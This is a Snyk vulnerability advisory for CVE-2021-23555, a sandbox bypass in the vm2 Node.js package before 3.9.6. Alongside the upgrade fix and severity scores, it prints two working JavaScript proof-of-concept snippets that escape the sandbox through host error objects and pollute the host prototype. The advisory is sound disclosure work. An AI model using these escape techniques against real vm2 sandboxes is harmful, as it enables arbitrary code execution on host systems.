Sandbox Bypass

Affecting vm2 package, versions <3.9.6

INTRODUCED: 6 DEC 2021 CVE-2021-23555 CWE-1321 CWE-265 FIRST ADDED BY SNYK

Share

How to fix?

Upgrade `vm2` to version 3.9.6 or higher.

Overview

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Affected versions of this package are vulnerable to Sandbox Bypass via direct access to host error objects generated by node internals during generation of a stacktraces, which can lead to execution of arbitrary code on the host machine.

PoC 1

```
// tested on Node.js 16.10.0 const {VM} = require('vm2'); vmInstance = new VM();
console.log(vmInstance.run(` function foo(ref) { new Error().stack; } let obj = {};
Object.defineProperty(Object.prototype, 0, { set: function () { foo(this); try { obj[0] = 0; } catch (e) {
e.__proto__.__proto__.__proto__.polluted = 'success'; } } }) `)); console.log(polluted);
```

PoC 2

```
// tested with Node.js 17.1.0 and latest vm2 version // generated from "/home/cris/work/js-
isolation/analysis/Dataset/1V8/regress/regress-672041.js", partially with the support of the generator
const {VM} = require('vm2'); vmInstance = new VM(); vmInstance.run(` function getRootPrototype(obj) {
while (obj.__proto__) { obj = obj.__proto__; } return obj; } function stack(ref, cb) { let stack = new
Error().stack; stack.match(/checkReferenceRecursive/g); } try { global.temp0 =
RegExp.prototype.__defineGetter__('global', () => { getRootPrototype(this); stack(this); return true; }),
function functionInvocationAnalysis(r) { stack(r); }(temp0), global.temp0; RegExp.prototype.exec =
function (str) { stack(arguments); }; } catch (e) { getRootPrototype(e).polluted = "success"; } `);
console.log(polluted);
```

References

- GitHub Commit

Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	Low
Confidentiality	HIGH
Integrity	HIGH
Availability	HIGH

See more

NVD 9.8 CRITICAL

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Sandbox Bypass vulnerabilities in an interactive lesson.

Start learning

Snyk ID	SNYK-JS-VM2-2309905
Published	9 Feb 2022
Disclosed	6 Dec 2021
Credit	Cris Staicu, Abdullah Alhamdan

Report a new vulnerability | Found a mistake?

RESOURCES

Vulnerability DB

Documentation

Disclosed Vulnerabilities

Blog

FAQs

COMPANY

About

Jobs

Contact

Policies

Do Not Sell My Personal Information

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.